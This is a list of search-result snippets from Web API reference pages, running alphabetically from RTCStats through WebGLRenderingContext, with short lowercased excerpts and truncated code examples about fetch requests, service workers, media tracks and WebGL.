RTCStats.id - Web APIs
WebAPIRTCStatsid
using the id, you can correlate two or more rtcstats-based objects in order to monitor statistics over time for a given webrtc object, such as an rtp stream, an rtcpeerconnection, or an rtcdatachannel.
RTCStatsReport - Web APIs
using rtcstatsreport ...
RTCTrackEvent - Web APIs
you can add a track event listener to be notified when the new track is available so that you can, for example, attach its media to a <video> element, using either rtcpeerconnection.addeventlistener() or the ontrack event handler property.
RTCTrackEventInit - Web APIs
the webrtc api's rtctrackeventinit dictionary is used to provide information describing an rtctrackevent when instantiating a new track event using new rtctrackevent().
Range.cloneContents() - Web APIs
event listeners added using dom events are not copied during cloning.
Range.commonAncestorContainer - Web APIs
to change the ancestor container of a node, consider using the various methods available to set the start and end positions of the range, such as range.setstart() and range.setend().
Range.compareNode() - Web APIs
WebAPIRangecompareNode
try to avoid using it.
Range.extractContents() - Web APIs
event listeners added using dom events are not retained during extraction.
Range.setStart() - Web APIs
WebAPIRangesetStart
the selected range is then highlighted using range.surroundcontents().
ReadableStream.getReader() - Web APIs
examples in the following simple example, a previously-created custom readablestream is read using a readablestreamdefaultreader created using getreader().
ReadableStreamDefaultController.desiredSize - Web APIs
examples the a readable stream with an underlying push source and backpressure support example in the spec provides a good example of using desiredsize to manually detect when the stream is full and apply backpressure, and also of using readablestreamdefaultcontroller.error() to manually trigger a stream error if another part of the system it relies on fails.
ReadableStreamDefaultController.error() - Web APIs
examples the a readable stream with an underlying push source and backpressure support example in the spec provides a good example of using readablestreamdefaultcontroller.desiredsize to manually detect when the stream is full and apply backpressure, and also of using error() to manually trigger a stream error if another part of the system it relies on fails.
ReadableStreamDefaultReader.ReadableStreamDefaultReader() - Web APIs
examples in the following simple example, a previously-created custom readablestream is read using a readablestreamdefaultreader created using getreader().
ReadableStreamDefaultReader.cancel() - Web APIs
examples in the following simple example, a previously-created custom readablestream is read using a readablestreamdefaultreader created using getreader().
ReadableStreamDefaultReader.read() - Web APIs
it is read using a readablestreamdefaultreader created using getreader().
RelativeOrientationSensor - Web APIs
model.quaternion.fromarray(sensor.quaternion).inverse(); }); sensor.addeventlistener('error', error => { if (event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.start(); permissions example using orientation sensors requires requsting permissions for multiple device sensors.
RenderingContext - Web APIs
by using the shorthand renderingcontext, methods and properties which can make use of any of these interfaces can be specified and written more easily; since <canvas> supports several rendering systems, it's helpful from a specification and browser implementation perspective to have a shorthand that means "one of these interfaces." as such, renderingcontext is an implementation detail, and isn't something web developers directly use.
ReportingObserver - Web APIs
examples in our deprecation_report.html example, we create a simple reporting observer to observe usage of deprecated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to start observing reports using reportingobserver.observe(); this tells the observer to start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); later on in the example we deliberately use the deprecated version of mediadevices.getusermedia(): if(navigator.mozgetusermedia) { navigator.mozgetusermedia( constraints, success, failure); } els...
Request.clone() - Web APIs
WebAPIRequestclone
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then clone the request.
Request.context - Web APIs
WebAPIRequestcontext
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request context in a variable: var myrequest = new request('flowers.jpg'); var mycontext = myrequest.context; // returns the empty string by default ...
Request.credentials - Web APIs
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request credentials in a variable: var myrequest = new request('flowers.jpg'); var mycred = myrequest.credentials; // returns "same-origin" by default specifications specification status comment fetchthe definition of 'credentials' in that specification.
Request.destination - Web APIs
example in the following snippet, we create a new request using the request() constructor (for an image file in the same directory as the script), then save the request's destination: var myrequest = new request('flowers.jpg'); var mydestination = myrequest.destination; // returns the empty string by default specifications specification status comment fetchthe definition of 'destination' in that specification.
Request.headers - Web APIs
WebAPIRequestheaders
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request headers in a variable: var myrequest = new request('flowers.jpg'); var myheaders = myrequest.headers; // headers {} to add a header to the headers object we use headers.append; we then create a new request along with a 2nd init parameter, passing headers in as an init option: var myheaders = new headers(); myheaders.append('content-type', 'image/jpeg'); var myinit = { method: 'get', headers: myheaders, mode: 'cors', cache: 'defa...
Request.integrity - Web APIs
WebAPIRequestintegrity
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request integrity value in a variable: var myrequest = new request('flowers.jpg'); var myintegrity = myrequest.integrity; specifications specification status comment fetchthe definition of 'integrity' in that specification.
Request.method - Web APIs
WebAPIRequestmethod
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the method of the request in a variable: var myrequest = new request('flowers.jpg'); var mymethod = myrequest.method; // get specifications specification status comment fetchthe definition of 'method' in that specification.
Request.redirect - Web APIs
WebAPIRequestredirect
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request redirect value in a variable: var myrequest = new request('flowers.jpg'); var mycred = myrequest.redirect; specifications specification status comment fetchthe definition of 'redirect' in that specification.
Request.referrer - Web APIs
WebAPIRequestreferrer
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request referrer in a variable: var myrequest = new request('flowers.jpg'); var myreferrer = myrequest.referrer; // returns "about:client" by default specifications specification status comment fetchthe definition of 'referrer' in that specification.
Request.referrerPolicy - Web APIs
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request referrer policy in a variable: var myrequest = new request('flowers.jpg'); var myreferrer = myrequest.referrerpolicy; // returns "" by default specifications specification status comment fetchthe definition of 'referrerpolicy' in that specification.
Request.url - Web APIs
WebAPIRequesturl
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the url of the request in a variable: var myrequest = new request('flowers.jpg'); var myurl = myrequest.url; // "http://mdn.github.io/fetch-examples/fetch-request/flowers.jpg" specifications specification status comment fetchthe definition of 'url' in that specification.
ResizeObserver - Web APIs
examples in the resize-observer-text.html (see source) example, we use the resize observer to change the font-size of a header and paragraph as a slider’s value is changed causing the containing <div> to change width.
ResizeObserverEntry.contentBoxSize - Web APIs
we could just implement this using border-radius with a percentage, but that quickly leads to ugly-looking elliptical corners; this solution gives you nice square corners that scale with the box size.
ResizeObserverEntry.target - Web APIs
we could just implement this using border-radius with a percentage, but that quickly leads to ugly-looking elliptical corners; this solution gives you nice square corners that scale with the box size.
Resource Timing API - Web APIs
for more details about the interfaces including examples see each interface's reference page, using the resource timing api, and the references in the see also section.
Response() - Web APIs
WebAPIResponseResponse
examples in our fetch response example (see fetch response live) we create a new response object using the constructor, passing it a new blob as a body, and an init object containing a custom status and statustext: var myblob = new blob(); var init = { "status" : 200 , "statustext" : "supersmashinggreat!" }; var myresponse = new response(myblob,init); specifications specification status comment fetchthe definition of 'response()' in that specification.
Response.redirected - Web APIs
ion(response) { let elem = document.getelementbyid("warning-message-box"); if (response.redirected) { elem.innerhtml = "unexpected redirect"; } else { elem.innerhtml = ""; } return response.blob(); }).then(function(imageblob) { let imgobjecturl = url.createobjecturl(imageblob); document.getelementbyid("img-element-id").src = imgobjecturl; }); disallowing redirects because using redirected to manually filter out redirects can allow forgery of redirects, you should instead set the redirect mode to "error" in the init parameter when calling fetch(), like this: fetch("awesome-picture.jpg", { redirect: "error" }).then(function(response) { return response.blob(); }).then(function(imageblob) { let imgobjecturl = url.createobjecturl(imageblob); document.getelementbyid("i...
Response - Web APIs
WebAPIResponse
you can create a new response object using the response.response() constructor, but you are more likely to encounter a response object being returned as the result of another api operation—for example, a service worker fetchevent.respondwith, or a simple windoworworkerglobalscope.fetch().
RsaOaepParams - Web APIs
the rsaoaepparams dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.encrypt(), subtlecrypto.decrypt(), subtlecrypto.wrapkey(), or subtlecrypto.unwrapkey(), when using the rsa_oaep algorithm.
RsaPssParams - Web APIs
the rsapssparams dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.sign() or subtlecrypto.verify(), when using the rsa-pss algorithm.
SVGAnimatedPoints - Web APIs
additionally, the points attribute on the original element accessed via the xml dom (e.g., using the getattribute() method call) will reflect any changes made to the svganimatedpoints.points attribut.
SVGAnimationElement: beginEvent event - Web APIs
list.appendchild(listitem); }) animateelem.addeventlistener('repeatevent', (e) => { let listitem = document.createelement('li'); let msg = 'repeatevent fired'; if(e.detail) { msg += '; repeat number: ' + e.detail; } listitem.textcontent = msg; list.appendchild(listitem); }) event handler property equivalent note that you can also create an event listener for the begin event using the onbegin event handler property: animateelem.onbegin = () => { console.log('beginevent fired'); } specifications specification status comment scalable vector graphics (svg) 2the definition of 'beginevent' in that specification.
SVGAnimationElement: endEvent event - Web APIs
t.createelement('li'); let msg = 'repeatevent fired'; if(e.detail) { msg += '; repeat number: ' + e.detail; } listitem.textcontent = msg; list.appendchild(listitem); }) btn.addeventlistener('click', () => { btn.disabled = true; animateelem.setattribute('repeatcount', '1'); }) event handler property equivalent note that you can also create an event listener for the end event using the onend event handler property: animateelem.onend = () => { console.log('endevent fired'); } specifications specification status comment scalable vector graphics (svg) 2the definition of 'endevent' in that specification.
SVGAnimationElement: repeatEvent event - Web APIs
list.appendchild(listitem); }) animateelem.addeventlistener('repeatevent', (e) => { let listitem = document.createelement('li'); let msg = 'repeatevent fired'; if(e.detail) { msg += '; repeat number: ' + e.detail; } listitem.textcontent = msg; list.appendchild(listitem); }) event handler property equivalent note that you can also create an event listener for the repeat event using the onrepeat event handler property: animateelem.onrepeat = () => { console.log('repeatevent fired'); } specifications specification status comment scalable vector graphics (svg) 2the definition of 'repeatevent' in that specification.
SVGAnimationElement - Web APIs
events listen to these events using addeventlistener() or by assigning an event listener to the on...
SVGGraphicsElement: copy event - Web APIs
a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the event's default action using event.preventdefault().
SVGGraphicsElement: cut event - Web APIs
a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the default action using event.preventdefault().
SVGGraphicsElement: paste event - Web APIs
to override the default behavior (for example to insert some different data or a transformation of the clipboard contents) an event handler must cancel the default action using event.preventdefault(), and then insert its desired data manually.
SVGPathElement - Web APIs
svgpathelement.gettotallength() returns a float representing the computed value for the total length of the path using the browser's distance-along-a-path algorithm, as a distance in the current user coordinate system.
SVGTransform - Web APIs
in case the matrix object is changed directly (i.e., without using the methods on the svgtransform interface itself) then the type of the svgtransform changes to svg_transform_matrix.
SVGViewElement - Web APIs
each of the domstring values can be associated with the corresponding element using the getelementbyid() method call.
Screen - Web APIs
WebAPIScreen
the screen interface represents a screen, usually the one on which the current window is being rendered, and is obtained using window.screen.
ScriptProcessorNode: audioprocess event - Web APIs
= outputbuffer.getchanneldata(channel); // loop through the 4096 samples for (var sample = 0; sample < inputbuffer.length; sample++) { // make output equal to the same as the input outputdata[sample] = inputdata[sample]; // add noise to each output sample outputdata[sample] += ((math.random() * 2) - 1) * 0.2; } } }) you could also set up the event handler using the scriptprocessornode.onaudioprocess property: scriptnode.onaudioprocess = function(audioprocessingevent) { ...
SecurityPolicyViolationEvent.sample - Web APIs
this will only be populated if the resource is an inline script, event handler, or style — external resources causing a violation will not generate a sample.
SecurityPolicyViolationEvent - Web APIs
this will only be populated if the resource is an inline script, event handler, or style — external resources causing a violation will not generate a sample.
Selection.modify() - Web APIs
WebAPISelectionmodify
the selection.modify() method applies a change to the current selection or cursor position, using simple textual commands.
Selection.rangeCount - Web APIs
firefox allows to select multiple ranges in the document by using ctrl+click (unless the click within an element with display: table-cell).
Selection.selectionLanguageChange() - Web APIs
try to avoid using it.
ServiceWorkerContainer: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples in this example the service worker get the client's id from a fetch event and then sends it a message using client.postmessage: // in the service worker async function messageclient(clientid) { const client = await clients.get(clientid); client.postmessage('hi client!'); } addeventlistener('fetch', (event) => { messageclient(event.clientid); event.respondwith(() => { // ...
ServiceWorkerContainer.register() - Web APIs
if ('serviceworker' in navigator) { // register a service worker hosted at the root of the // site using the default scope.
ServiceWorkerContainer - Web APIs
if ('serviceworker' in navigator) { // register a service worker hosted at the root of the // site using the default scope.
ServiceWorkerGlobalScope: activate event - Web APIs
globalscope.addeventlistener('activate', function(event) { var cachewhitelist = ['v2']; event.waituntil( caches.foreach(function(cache, cachename) { if (cachewhitelist.indexof(cachename) == -1) { return caches.delete(cachename); } }) ); }); you can also set up the event handler using the serviceworkerglobalscope.onactivate property: globalscope.onactivate = function(event) { ...
ServiceWorkerGlobalScope: contentdelete event - Web APIs
self.addeventlistener('contentdelete', event => { event.waituntil( caches.open('cache-name').then(cache => { return promise.all([ cache.delete(`/icon/${event.id}`), cache.delete(`/content/${event.id}`) ]) }) ); }); you can also set up the event handler using the serviceworkerglobalscope.ondelete property: self.oncontentdelete = (event) => { ...
ServiceWorkerGlobalScope: install event - Web APIs
sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ); }) ); }); you can also set up the event handler using the serviceworkerglobalscope.oninstall property: globalscope.oninstall = function(event) { ...
ServiceWorkerGlobalScope - Web APIs
methods serviceworkerglobalscope.skipwaiting() allows the current service worker registration to progress from waiting to active state while service worker clients are using it.
ServiceWorkerRegistration.pushManager - Web APIs
r.register('serviceworker.js').then( function(serviceworkerregistration) { serviceworkerregistration.pushmanager.subscribe().then( function(pushsubscription) { console.log(pushsubscription.subscriptionid); console.log(pushsubscription.endpoint); // the push subscription details needed by the application // server are now available, and can be sent to it using, // for example, an xmlhttprequest.
SharedWorker() - Web APIs
examples the following code snippet shows creation of a sharedworker object using the sharedworker() constructor and subsequent usage of the object: var myworker = new sharedworker('worker.js'); myworker.port.start(); first.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } second.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker...
SharedWorkerGlobalScope.name - Web APIs
example if a shared worker is created using a constructor with a name option: var myworker = new sharedworker("worker.js", { name : "mysharedworker" }); the sharedworkerglobalscope will now have a name of "mysharedworker", returnable by running self.name from inside the shared worker.
SharedWorkerGlobalScope.onconnect - Web APIs
the connecting port can be referenced through the event object's ports parameter; this reference can have an onmessage handler attached to it to handle messages coming in through the port, and its postmessage() method can be used to send messages back to the main thread using the worker.
Slottable: assignedSlot - Web APIs
examples in our simple-template example (see it live), we create a trivial custom element example called <my-paragraph> in which a shadow root is attached and then populated using the contents of a template that contains a slot named my-text.
SourceBuffer.abort() - Web APIs
example the spec description of abort() is somewhat confusing — consider for example step 1 of reset parser state.
SourceBuffer.mode - Web APIs
WebAPISourceBuffermode
the mode value is initially set when the sourcebuffer is created using mediasource.addsourcebuffer().
SpeechGrammar - Web APIs
grammar is defined using jspeech grammar format (jsgf.) other formats may also be supported in the future.
SpeechGrammarList.SpeechGrammarList() - Web APIs
examples in our simple speech color changer example, we create a new speechrecognition object instance using the speechrecognition() constructor, create a new speechgrammarlist, add our grammar string to it using the speechgrammarlist.addfromstring method, and set it to be the grammar that will be recognised by the speechrecognition instance using the speechrecognition.grammars property.
SpeechGrammarList.item() - Web APIs
the item getter of the speechgrammarlist interface is a standard getter — it allows individual speechgrammar objects to be retrieved from the speechgrammarlist using array syntax.
SpeechRecognition.stop() - Web APIs
the stop() method of the web speech api stops the speech recognition service from listening to incoming audio, and attempts to return a speechrecognitionresult using the audio captured so far.
SpeechSynthesis.paused - Web APIs
if utterances are then added to the utterance queue, they will not be spoken until the speechsynthesis object is unpaused, using speechsynthesis.resume().
StaticRange.StaticRange() - Web APIs
those node types are node.document_type_node (representing the documenttype node derived from the dtd identified using the doctype preamble in the html, for example) and the attr node describing an attribute of an element on the dom..
Storage.clear() - Web APIs
WebAPIStorageclear
examples the following function creates three data entries in local storage, and then deletes them by using clear().
Storage.setItem() - Web APIs
WebAPIStoragesetItem
(safari sets the quota to 0 bytes in private mode, unlike other browsers, which allow storage in private mode using separate data containers.) hence developers should make sure to always catch possible exceptions from setitem().
StorageEstimate.usage - Web APIs
html content <label> you’re currently using about <output id="percent"> </output>% of your available storage.
StorageManager.estimate() - Web APIs
html content <label> you’re currently using about <output id="percent"> </output>% of your available storage.
StorageManager - Web APIs
you can get a reference to this interface using either navigator.storage or workernavigator.storage.
StorageQuota - Web APIs
you can get a reference to this interface using navigator.storagequota.
Storage Access API - Web APIs
safari implementation differences although the api surface is the same, websites using the storage access api should expect differences in the level and extent of storage access they receive between firefox and safari.
SubmitEvent() - Web APIs
return value a submitevent object configured using the given inputs.
SubmitEvent.submitter - Web APIs
please try again.", "ok"); } }); the handler id is obtained by using the submit event's submitter property to get the submit button, from which we then get the id.
SubmitEvent - Web APIs
please try again.", "ok"); } }); the handler id is obtained by using the submit event's submitter property to get the submit button, from which we then get the id.
SubtleCrypto.generateKey() - Web APIs
extractable is a boolean indicating whether it will be possible to export the key using subtlecrypto.exportkey() or subtlecrypto.wrapkey().
Text.splitText() - Web APIs
WebAPITextsplitText
separated text nodes can be concatenated using the node.normalize() method.
TextEncoder.prototype.encodeInto() - Web APIs
instance; ////////////////////////////////////////////////////////////////////////////////////// function encoderreplacer(nonasciichars){ // make the utf string into a binary utf-8 encoded string var point = nonasciichars.charcodeat(0)|0; if (0xd800 <= point && point <= 0xdbff) { var nextcode = nonasciichars.charcodeat(1)|0; // defaults to 0 when nan, causing null replacement character if (0xdc00 <= nextcode && nextcode <= 0xdfff) { //point = ((point - 0xd800)<<10) + nextcode - 0xdc00 + 0x10000|0; point = (point<<10) + nextcode - 0x35fdc00|0; if (point > 0xffff) return fromcharcode( (0x1e/*0b11110*/<<3) | (point>>>18), (0x2/...
TextMetrics.width - Web APIs
WebAPITextMetricswidth
you can get a textmetrics object using the following code: const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let text = ctx.measuretext('foo'); // textmetrics object text.width; // 16; specifications specification html living standardthe definition of 'textmetrics.width' in that specification.
TextMetrics - Web APIs
the textmetrics interface represents the dimensions of a piece of text in the canvas; a textmetrics() instance can be retrieved using the canvasrenderingcontext2d.measuretext() method.
TextRange - Web APIs
WebAPITextRange
this object is used to process the selected ranges in the document, and is mainly implemented by using the textrange interface.
TextTrack.mode - Web APIs
WebAPITextTrackmode
text track mode constants the text track mode—sometimes identified using the idl enum texttrackmode—must be one of the following values: disabled the text track is currently disabled.
TextTrack - Web APIs
WebAPITextTrack
texttrack.label read only a human-readable domstring which contains the text track's label, if one is present; otherwise, this is an empty string (""), in which case a custom label may need to be generated by your code using other attributes of the track, if the track's label needs to be exposed to the user.
TextTrackList: addtrack event - Web APIs
bubbles no cancelable no interface trackevent event handler property onaddtrack examples using addeventlistener(): const mediaelement = document.queryselector('video, audio'); mediaelement.texttracks.addeventlistener('addtrack', (event) => { console.log(`text track: ${event.track.label} added`); }); using the onaddtrack event handler property: const mediaelement = document.queryselector('video, audio'); mediaelement.texttracks.onaddtrack = (event) => { console.log(`text track: ${event.track.label} added`); }; specifications specification status html living standardthe definition of 'addtrack' in that specification.
TextTrackList: change event - Web APIs
bubbles no cancelable no interface event event handler property onchange examples using addeventlistener(): const mediaelement = document.queryselectorall('video, audio')[0]; mediaelement.texttracks.addeventlistener('change', (event) => { console.log(`'${event.type}' event fired`); }); using the onchange event handler property: const mediaelement = document.queryselector('video, audio'); mediaelement.texttracks.onchange = (event) => { console.log(`'${event.type}' event fired`); }; specifications specification status html living standardthe definition of 'change' in that specification.
TextTrackList.onaddtrack - Web APIs
note: you can also add a handler for the addtrack event using addeventlistener().
TextTrackList.onchange - Web APIs
note: you can also add a handler for the change event using addeventlistener().
TextTrackList.onremovetrack - Web APIs
note: you can also add a handler for the removetrack event using addeventlistener().
TextTrackList: removeTrack event - Web APIs
bubbles no cancelable no interface trackevent event handler property onremovetrack examples using addeventlistener(): const mediaelement = document.queryselector('video, audio'); mediaelement.texttracks.addeventlistener('removetrack', (event) => { console.log(`text track: ${event.track.label} removed`); }); using the onremovetrack event handler property: const mediaelement = document.queryselector('video, audio'); mediaelement.texttracks.onremovetrack = (event) => { console.log(`text track: ${event.track.label} removed`); }; specifications specification status html living standardthe definition of 'removetrack' in that specificati...
TextTrackList - Web APIs
the individual tracks can be accessed using array syntax or functions such as foreach() for example.
TimeRanges - Web APIs
you reference each time range by using the start() and end() methods, passing the index number of the time range you want to retrieve.
Touch.clientX - Web APIs
WebAPITouchclientX
example this example illustrates using the touch object's touch.clientx and touch.clienty properties.
Touch.clientY - Web APIs
WebAPITouchclientY
example this example illustrates using the touch object's touch.clientx and touch.clienty properties.
Touch.force - Web APIs
WebAPITouchforce
example this example illustrates using the touch interface's touch.force property.
TouchEvent - Web APIs
using with addeventlistener() and preventdefault() it's important to note that in many cases, both touch and mouse events get sent (in order to let non-touch-specific code still interact with the user).
Multi-touch interaction - Web APIs
example this example demonstrates using the touchstart, touchmove, touchcancel, and touchend) touch events for the following gestures: single touch, two (simultaneous) touches, more than two simultaneous touches, 1-finger swipe, and 2-finger move/pinch/swipe.
Supporting both TouchEvent and MouseEvent - Web APIs
hstart, touchmove or touchend event is canceled during an interaction, no mouse or click events will be fired, and the resulting sequence of events would just be: touchstart zero or more touchmove events, depending on movement of the finger(s) touchend community touch events community group mail list w3c #touchevents irc channel related topics and resources touch events overview using touch events touch and mouse (together again for the first time) ...
Touch events - Web APIs
after that, we iterate over all the touch objects in the list, pushing them onto an array of active touchpoints and drawing the start point for the draw as a small circle; we're using a 4-pixel wide line, so a 4-pixel radius circle will show up neatly.
TrackDefaultList - Web APIs
the trackdefaultlist associated with a particular sourcebuffer can be retrieved using the sourcebuffer.trackdefaults property.
TransitionEvent.initTransitionEvent() - Web APIs
the transitionevent.inittransitionevent() method initializes a transition event created using the deprecated document.createevent("transitionevent") method.
TransitionEvent - Web APIs
transitionevent.inittransitionevent() initializes a transitionevent created using the deprecated document.createevent("transitionevent") method.
TreeWalker - Web APIs
a treewalker can be created using the document.createtreewalker() method.
UIEvent.initUIEvent() - Web APIs
this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
UIEvent - Web APIs
WebAPIUIEvent
although the uievent.inituievent() method is kept for backward compatibility, you should create a uievent object using the uievent() constructor.
URL.searchParams - Web APIs
WebAPIURLsearchParams
examples if the url of your page is https://example.com/?name=jonathan%20smith&age=18 you could parse out the name and age parameters using: let params = (new url(document.location)).searchparams; let name = params.get('name'); // is the string "jonathan smith".
URLSearchParams.get() - Web APIs
examples if the url of your page is https://example.com/?name=jonathan&age=18 you could parse out the 'name' and 'age' parameters using: let params = new urlsearchparams(document.location.search.substring(1)); let name = params.get("name"); // is the string "jonathan" let age = parseint(params.get("age"), 10); // is the number 18 requesting a parameter that isn't present in the query string will return null: let address = params.get("address"); // null specifications specification status comment ...
URLUtilsReadOnly.origin - Web APIs
for url using file: scheme, the value is browser dependant.
UserDataHandler - Web APIs
try to avoid using it.
UserProximityEvent - Web APIs
the userproximityevent indicates whether a nearby physical object is present by using the proximity sensor of a device.
User Timing API - Web APIs
for more details and example code regarding these two performance event types and the methods, see using the user timing api.
Vibration API - Web APIs
most modern mobile devices include vibration hardware, which lets software code provide physical feedback to the user by causing the device to shake.
VideoPlaybackQuality.totalFrameDelay - Web APIs
try to avoid using it.
VideoTrack - Web APIs
usage notes to get a videotrack for a given media element, use the element's videotracks property, which returns a videotracklist object from which you can get the individual tracks contained in the media: var el = document.queryselector("video"); var tracks = el.videotracks; you can then access the media's individual tracks using either array syntax or functions such as foreach().
VideoTrackList: addtrack event - Web APIs
bubbles no cancelable no interface trackevent event handler property onaddtrack examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.videotracks.addeventlistener('addtrack', (event) => { console.log(`video track: ${event.track.label} added`); }); using the onaddtrack event handler property: const videoelement = document.queryselector('video'); videoelement.videotracks.onaddtrack = (event) => { console.log(`video track: ${event.track.label} added`); }; specifications specification status html living standardthe definition of 'addtrack' in that specification.
VideoTrackList: change event - Web APIs
bubbles no cancelable no interface event event handler property onchange examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.videotracks.addeventlistener('change', (event) => { console.log(`'${event.type}' event fired`); }); // changing the value of `selected` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.videotracks[0]; track.selected = !track.selected; }); using the onchange event handler property: const videoelement =...
VideoTrackList.onaddtrack - Web APIs
note: you can also add a handler for the addtrack event using addeventlistener().
VideoTrackList.onremovetrack - Web APIs
note: you can also add a handler for the removetrack event using addeventlistener().
VideoTrackList: removetrack event - Web APIs
bubbles no cancelable no interface trackevent event handler property onremovetrack examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.videotracks.addeventlistener('removetrack', (event) => { console.log(`video track: ${event.track.label} removed`); }); using the onremovetrack event handler property: const videoelement = document.queryselector('video'); videoelement.videotracks.onremovetrack = (event) => { console.log(`video track: ${event.track.label} removed`); }; specifications specification status html living standardthe definition of 'removetrack' in that specification.
VideoTrackList - Web APIs
the individual tracks can be accessed using array syntax or functions such as foreach() for example.
Visual Viewport API - Web APIs
using requestanimationframe() ensures that the transform ocurrs before the next render.
WEBGL_draw_buffers.drawBuffersWEBGL() - Web APIs
note: when using webgl2, this method is available as gl.drawbuffers() by default and the constants are named gl.color_attachment1 etc.
WebGL2RenderingContext.drawArraysInstanced() - Web APIs
note: when using webgl 1, the angle_instanced_arrays extension can provide this method, too.
WebGL2RenderingContext.getActiveUniformBlockParameter() - Web APIs
return value depends on which information is requested using the pname parameter.
WebGL2RenderingContext.getActiveUniforms() - Web APIs
return value depends on which information is requested using the pname parameter.
WebGL2RenderingContext.vertexAttribDivisor() - Web APIs
note: when using webgl 1, the angle_instanced_arrays extension can provide this method, too.
WebGLRenderingContext.bindBuffer() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.copy_read_buffer: buffer for copying from one buffer object to another.
WebGLRenderingContext.bindFramebuffer() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.draw_framebuffer: equivalent to gl.framebuffer.
WebGLRenderingContext.bindTexture() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.texture_3d: a three-dimensional texture.
WebGLRenderingContext.canvas - Web APIs
examples canvas element given this <canvas> element: <canvas id="canvas"></canvas> you can get back a reference to it from the webglrenderingcontext using the canvas property: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.canvas; // htmlcanvaselement offscreen canvas example using the experimental offscreencanvas object.
WebGLRenderingContext.commit() - Web APIs
some drawing using the gl context ...
WebGLRenderingContext.createShader() - Web APIs
the webglrenderingcontext method createshader() of the webgl api creates a webglshader that can then be configured further using webglrenderingcontext.shadersource() and webglrenderingcontext.compileshader().
WebGLRenderingContext.createTexture() - Web APIs
examples see also the webgl tutorial on using textures in webgl.
WebGLRenderingContext.disable() - Web APIs
when using a webgl 2 context, the following values are available additionally: constant description gl.rasterizer_discard deactivates that primitives are discarded immediately before the rasterization stage, but after the optional transform feedback stage.
WebGLRenderingContext.drawElements() - Web APIs
possible values are: gl.unsigned_byte gl.unsigned_short when using the oes_element_index_uint extension: gl.unsigned_int offset a glintptr specifying a byte offset in the element array buffer.
WebGLRenderingContext.enable() - Web APIs
when using a webgl 2 context, the following values are available additionally: constant description gl.rasterizer_discard primitives are discarded immediately before the rasterization stage, but after the optional transform feedback stage.
WebGLRenderingContext.flush() - Web APIs
the webglrenderingcontext.flush() method of the webgl api empties different buffer commands, causing all commands to be executed as quickly as possible.
WebGLRenderingContext.generateMipmap() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.texture_3d: a three-dimensional texture.
WebGLRenderingContext.getActiveUniform() - Web APIs
the type attribute of the return value will be one of the following: gl.float gl.float_vec2 gl.float_vec3 gl.float_vec4 gl.int gl.int_vec2 gl.int_vec3 gl.int_vec4 gl.bool gl.bool_vec2 gl.bool_vec3 gl.bool_vec4 gl.float_mat2 gl.float_mat3 gl.float_mat4 gl.sampler_2d gl.sampler_cube when using a webgl 2 context, the following values are possible additionally: gl.unsigned_int gl.unsigned_int_vec2 gl.unsigned_int_vec3 gl.unsigned_int_vec4 gl.float_mat2x3 gl.float_mat2x4 gl.float_mat3x2 gl.float_mat3x4 gl.float_mat4x2 gl.float_mat4x3 gl.sampler_2d gl.sampler_3d gl.sampler_cube gl.sampler_2d_shadow gl.sampler_2d_array gl.sampler_2d_array_s...
WebGLRenderingContext.getContextAttributes() - Web APIs
the getcontextattributes method returns an object that describes the attributes set on this context, for example: { alpha: true, antialias: true, depth: true, failifmajorperformancecaveat: false, powerpreference: "default", premultipliedalpha: true, preservedrawingbuffer: false, stencil: false, desynchronized: false } the context attributes can be set when creating the context using the htmlcanvaselement.getcontext() method: canvas.getcontext('webgl', { antialias: false, depth: false }); see getcontext() for more information about the individual attributes.
WebGLRenderingContext.getProgramParameter() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.transform_feedback_buffer_mode: returns a glenum indicating the buffer mode when transform feedback is active.
WebGLRenderingContext.getRenderbufferParameter() - Web APIs
when using a webgl 2 context, the following value is available additionally: gl.renderbuffer_samples: returns a glint indicating the number of samples of the image of the currently bound renderbuffer.
WebGLRenderingContext.isEnabled() - Web APIs
when using a webgl 2 context, the following values are available additionally: constant description gl.rasterizer_discard primitives are discarded immediately before the rasterization stage, but after the optional transform feedback stage.
WebGLRenderingContext.pixelStorei() - Web APIs
